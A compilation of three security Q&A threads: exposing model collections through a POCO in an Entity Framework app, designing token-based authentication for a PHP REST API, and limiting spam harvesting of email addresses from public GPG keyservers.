Exposing Model to POCO in MVVM Entity Framework Application To start with, I am dangerously bad at security. I am aware of this, which is why I'm asking for help to figure this out.

I have a POCO object, which is exposing an ICollection of a model object, so that I can act on it. Is there an inherent flaw in allowing this, or should I preferably be looking for another way to get the info I need from the Model objects without storing them in the POCO?

No - there is nothing inherently insecure about having a POCO that exposes a collection model objects.

Depending on how you use user input to interact with any object and depending on what you do with that data later can open you up to potential security vulnerabilities, but without seeing your code it's impossible to say if this is something you should be concerned about.


Is this a good enough approach to securing a RESTful API? I want to use token-based authentication where the user would log in with a username/password combination. The server would make sure the username and password match and then return a token which would be used by the client to make subsequent API calls. These token would expire after a certain amount of time (4 hours is what I'm thinking), after which the user would have to login in again.

The way I want to generate tokens is this : SHA256 hashes of 3 randomly generated strings (characters - [0-9,a-z,A-Z]), concatenated. I would store this token in a database table along with the username and the login time.

When an API request is made with this token, I would be able to get the user from the token.

I want to protect against brute force attacks.

I want to implement all of this in PHP. Is this approach good enough? If not, why? And what would be a better way to do it?
Should there be a way to get the user just from the token (without looking up from a database)? If so, why?

I'm a newbie as far as security is concerned, so detailed explanations would be greatly appreciated.

The way I want to generate tokens is this : SHA256 hashes of 3 randomly generated strings (characters - [0-9,a-z,A-Z]), concatenated.

There is no point in hashing random data.

Avoid use of the default random functions as those are insecure. Use a Cryptographically Secure PSRNG to generate the random data. For example, on UNIX-like systems you can read the data out of /dev/urandom. I expect PHP has a platform-independent documented way to create Cryptographically Secure random data.

The token should have 72 bits of entropy or more.

  I would store this token in a database table along with the username and the login time.

As you may know, you should never store user passwords, but use a Slow Hash such as bcrypt.

Similarly, for session tokens, you should not store those either, but use a Fast Hash for these. So your database should store an SHA-256 hash of the token. Avoiding storage of the original token is helpful for certain key management schemes or edge case attacks (i.e. limited SQLi) that you may have down the road.

  When an API request is made with this token, I would be able to get the user from the token.

Sounds good.

  I want to implement all of this in PHP.

These concepts are language agnostic. :-)

You should absolutely make sure you are using HTTPS/TLS to encrypt the connection and verify the server's identity before sending any sensitive authentication details such as passwords or session tokens.

I would recommend you also check that the IP address matches what it was when the user first signed in. If the IP address changes during the session, that may be a clue that the token was stolen.

Unfortunately mobile phone users, and users in certain foreign countries have frequently changing IP addresses, so such a restriction would not work for them.


Spam protection for public GPG keys? Public keys published to a server almost always contain emails. Is there any sort of protection against bot harvesters that will use that email for spam?

I'd like to start with a quote of the FAQ of the MIT pgp server:

  Yes, there have been reports of spammers harvesting addresses from PGP keyservers. Unfortunately, there is not much that either we or you can do about this. Our best suggestion is you take advantage of any spam filtering technology offered by your ISP.

Other than that:

If you rather keep an email address as private as possible, you are free to exchange your PGP key for that address using the same safe channel that you transmit the address itself.

So, if you do not upload the key, you can still distribute it privately and use it, without running into spam problems from that harvesting vector at least.

And to follow up with the comments on the question:

In order to be able to programmatically process the data (e.g. search for the email, the name, make sure it gets sent right) there has to be specified how to access the data. This specification can then be followed by the spammers too.

You could use obfuscation that cannot be computationally easy deobfuscated. But then, your email program would no longer be able to match keys with email addresses when sending messages - or require much more user effort on the key management - which really seems to much effort for most users like it is now.